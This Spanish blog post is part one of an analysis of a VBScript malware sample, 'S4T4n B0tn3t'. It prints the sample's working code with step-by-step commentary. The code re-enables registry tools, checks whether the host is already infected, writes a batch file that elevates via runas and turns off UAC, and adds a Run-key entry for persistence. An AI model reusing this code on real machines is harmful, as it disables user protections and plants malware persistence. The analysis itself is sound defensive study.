miércoles, 17 de febrero de 2016

Analizando "S4T4n B0tn3t" - Parte 1


   ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
            ||| v 34.12 Ï S4T4n B0tn3t  |||
   ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

 /\
On error resume Next

Se duerme el proceso durante 5000 ms = 5 sg

wscript.sleep 5000
 /\

En el trozo de código que se muestra a continuación se obtiene el valor de la clave de registro "Timeout". Si dicho valor está establecido a un número igual o superior a 1, se crean dos claves:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = 0

HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout = 0

Tras lo cual se vuelve a lanzar este script

Dim oShell
dim wscr,rr

set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout")

if (rr>=1) then
       Set oShell = WScript.CreateObject ("WScript.Shell")

       oShell.run "cmd /K REG ADD ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System"" /v DisableRegistryTools /t REG_DWORD /d 0 /f & reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings"" /v Timeout /t reg_dword /d 0 /f & start "&wscript.Scriptname&"  & exit",0

       Set oShell = Nothing
else
end if

En el trozo de código que se muestra a continuación se almacenan en varias variables los valores siguientes:

1.- El nombre de este script, que se almacena en la variable: "nom"
2.- La ruta absoluta donde se encuentra este archivo con extensión ".vbe"
3.- La información contenida en la variable del sistema "allusersprofile", que el sistema donde se están haciendo las pruebas es: C:/ProgramData, se almacena en la variable: "dema"
4.- La información contenida en la variable del sistema "systemroot", que el sistema donde se están haciendo las pruebas es: C:/Windows, se almacena en la variable: "sys"
5.- La información contenida en la variable del sistema "systemdrive", que el sistema donde se están haciendo las pruebas es: C, se almacena en la variable: "var1"
6.- Se almacena en la variable: "MyF", la cadena: "C:\security\blood.dat

Dim oFS, NomFichier

Set oFS = CreateObject("Scripting.FileSystemObject")
NomFichier = oFS.GetAbsolutePathName(""&wscript.Scriptname&"")
nom = wscript.Scriptname
Set oFS = Nothing

fsO = CreateObject("Scripting.FileSystemObject")
Set WSSH = CreateObject("Wscript.shell")
set wshshell=createobject("wscript.shell")


dema=wshshell.expandenvironmentstrings("%allusersprofile%")
sys=wshshell.expandenvironmentstrings("%systemroot%")
var1=wshshell.expandenvironmentstrings("%systemdrive%")   R00T + TMP DIR
MyF = ""&var1&"\security\blood.dat"

Dim shell
Set shell = WScript.CreateObject("WScript.Shell")
set wscr = CreateObject("WScript.Shell")

En el trozo de código que se muestra a continuación se crea una función que permite determinar si un servicio está o no ejecutándose

function isServiceRunning(strComputer,strServiceName)
       Dim objWMIService, strWMIQuery

       strWMIQuery = "Select * from Win32_Service Where Name = " & strServiceName & " and state=Running"

       Set objWMIService = GetObject("winmgmts:" _
             & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

       if objWMIService.ExecQuery(strWMIQuery).Count > 0 then
             isServiceRunning = true
       else
             isServiceRunning = false
       end if

end function

En el trozo de código que se muestra a continuación se solicita comprobar si el servicio "System" se encuentra activo. Si es así, se solicita el valor de la siguiente clave de registro:

HKLM\software\microsoft\windows\currentversion\policies\explorer\sdate\sdate

Si el valor devuelto es igual o superior a 34, se comprueba la cantidad de procesos ejecutándose correspondientes a: "wscript.exe". Si este valor es igual o superior a 2, se comprueba dos de los archivos que introduce el "malware". Si ambos existen se para el proceso que estamos detallando.

Conclusión: Estamos ante una comprobación de que el hosts en donde se está ejecutando el archivo ".vbe" está o no infectado ya.


Dim strComputer,strServiceName
strComputer = "."  Local Computer
strServiceName = "system"  Windows Service

if isServiceRunning(strComputer,strServiceName) then
       ab = wscr.RegRead("HKLM\software\microsoft\windows\currentversion\policies\explorer\sdate\sdate")

       if (ab >= 34) then if last version

             Set objWMI = GetObject("winmgmts:root\cimv2")

             sQuery = "Select * from Win32_process Where Name = wscript.exe"
            
             if objWMI.execquery(sQuery).Count >= 2 then
            
                    set fsO = CreateObject("Scripting.FileSystemObject")

                    if fsO.FileExists(""&var1&"\security\svchost.exe") Then
                           if fsO.FileExists(""&sys&"\system32\system\msg\config.txt") Then
            
                                  wscript.quit

                           else

                           end if
                    end if
             end if
       end if
end if

En el trozo de código que se muestra a continuación se solicita antes de nada la activación de la activación del comando "CMD", es decir, activa la posibilidad de utilizar dicho comando mediante la modificación de la siguiente clave de registro:

HKCU\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD

A continuación comprueba si el control de cuentas de usuario se encuentra activa mediante una consulta a la siguiente clave de registro:

HKLM\software\microsoft\windows\currentversion\policies\system\EnableLUA

En el caso de que estuviera habilitado el control de cuentas de usuario, entonces se creará un archivo de lotes que posteriormente será ejecutado y eliminado.

Conclusión: Estamos, en esta última parte, ante una evasión del control de permisos de usuarios, ya que se procede a crear una archivo con el usuario que ha lanzado el proceso con la intención de que no se pare el proceso por no tener permisos.

Dim objShell
Dim strMessage, welcome, goodbye

welcome = "DisableCMD"  New Key
goodbye = "HKCU\SOFTWARE\Policies\Microsoft\Windows\System\"

Set objShell = CreateObject("WScript.Shell")

objShell.RegWrite goodbye & welcome, 0, "REG_DWORD"

set wscr = CreateObject("WScript.Shell")
ab = wscr.RegRead("HKLM\software\microsoft\windows\currentversion\policies\system\EnableLUA")

if (err.number <> 0 OR ab = 1) then
  const ForReading = 1 , ForWriting = 2 , ForAppending = 8
  tmpdir=shell.ExpandEnvironmentStrings("%temp%")
  nomfichhh=tmpdir & "\uac.bat"
  set fsO = CreateObject("Scripting.FileSystemObject")
  set f = fso.OpenTextFile(nomfichhh, ForWriting , true)

  f.writeline "@echo off"
  f.writeline "mode con lines=1 cols=14"
  f.writeline "ver | find /i ""version 6.1."" > nul"
  f.writeline "if %errorlevel%==0 goto patch"
  f.writeline "ver | find /i ""version 6.0."" > nul"
  f.writeline "if %errorlevel%==0 goto patch"
  f.writeline ":exit"
  f.writeline "exit"
  f.writeline ":patch"
  f.writeline "if exist ""%temp%\ADMIN.vbe"" del /q /s /f ""%temp%\ADMIN.vbe""  > nul "
  f.writeline "if exist ""%temp%\CPBA.bat"" del /q /s /f ""%temp%\CPBA.bat""  > nul "
  f.writeline "echo set objshell = createobject(""shell.application"") > ""%temp%\ADMIN.vbe"" "
  f.writeline "echo set fsO = createobject(""scripting.filesystemobject"") >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo strpath = fso.getparentfoldername(wscript.scriptfullname) >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo objshell.shellexecute ""cmd.exe"", ""/c"" ^& Chr(34) ^& strpath ^& ""\CPBA.bat"" ^& Chr(34), """", ""runas"", 0 >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo wscript.sleep 1000 >> ""%temp%\ADMIN.vbe"" "
  f.writeline "echo on error resume next >> ""%temp%\tp.vbe"" "
  f.writeline "echo WScript.CreateObject(""WScript.Shell"").RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"",0, ""REG_DWORD"" >> ""%temp%\tp.vbe"" "
  f.writeline "echo ""%temp%\tp.vbe"" >> ""%temp%\CPBA.bat"" "
  f.writeline "echo del/f/q ""%temp%\tp.vbe"" >> ""%temp%\CPBA.bat"" "
  f.writeline "echo REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v rescue /d """""""""&dema&"\rescue.vbe"""""""" >> ""%temp%\CPBA.bat"" "
  f.writeline "echo reg add hklm\software\microsoft\windows\currentversion\policies\system /v consentpromptbehavioradmin /t reg_dword /d 0 /f ^> nul >> ""%temp%\CPBA.bat"" "
  f.writeline "echo reg add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f ^> nul >> ""%temp%\CPBA.bat"" "
  f.writeline "start """" /wait ""%temp%\ADMIN.vbe""    "
  f.writeline " reg query hklm\software\microsoft\windows\currentversion\policies\system /v enablelua | find /i ""0x0"" >nul "
  f.writeline " if %errorlevel%==0 goto ok "
  f.writeline " start """"/wait/MAX ""%temp%\uac.bat"" "
  f.writeline ":ok"
  f.writeline "if exist ""%temp%\ADMIN.vbe"" del /q /s /f ""%temp%\ADMIN.vbe""  > nul "
  f.writeline "if exist ""%temp%\CPBA.bat"" del /q /s /f ""%temp%\CPBA.bat""  > nul "
  f.writeline "EXIT"
  f.close

  set variable = createobject("wscript.shell")
  variable.run ""&nomfichhh&"" ,0,true

  fso.DeleteFile nomfichhh, true
end if
Para ser más legible, se muestra una imagen del archivo por lotes: uac.bat

Imagen del archivo: uac.bat

Este archivo comprueba antes de ejecutarse la versión del sistema operativo. Si la versión es la 6.1 o la 6.0, el archivo no realizará ninguna tarea, con otra versión seguirá realizando tareas.

NOTA:  La versión 6.1 se corresponde con: Windows 7 y Windows Server 2008 R2
                La versión 6.0 se corresponde con: Windows Vista y Windows Server 2008

Si continuamos analizando el código, podemos ver se comprueba la existencia de dos archivos ubicados en la carpeta "Temp" definida por el usuario: ADMIN.vbe y CPBA.bat. Si existen, se eliminan.

A continuación se crean los siguientes tres archivos:

tp.vbe

Código del archivo: tp.vbe

ADMIN.vbe

Código del archivo:ADMIN.vbe


CPBA.bat

Código del archivo: CPBA.bat


De los cuales, el primero en ejecutar es: ADMIN.vbe, por lo que se lanzará la ejecución del archivo: CPBA.bat. Este a su vez, intentará crear o modificar las siguientes claves del registro de Windows.

HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\rescue

NOTA: Es muy significativa esta nueva entrada en el registro de Windows, porque será ella la que, cada vez que se reinicie el sistema, mantendrá la persistencia del "malware".

hklm\software\microsoft\windows\currentversion\policies\system\consentpromptbehavioradmin
hklm\software\microsoft\windows\currentversion\policies\system\enablelua

Tras estas ejecuciones se comprobará el cambio en la última clave de registro anteriormente comentada. Si este se ha producido se eliminarán los archivos: ADMIN.vbe y CPBA.bat, pero si no se ha producido se volverá a ejecutar el archivo: uac.bat


NOTA: La última condición "if", podría provocar un bucle infinito que supusiera un DoS al sistema

No hay comentarios:

Publicar un comentario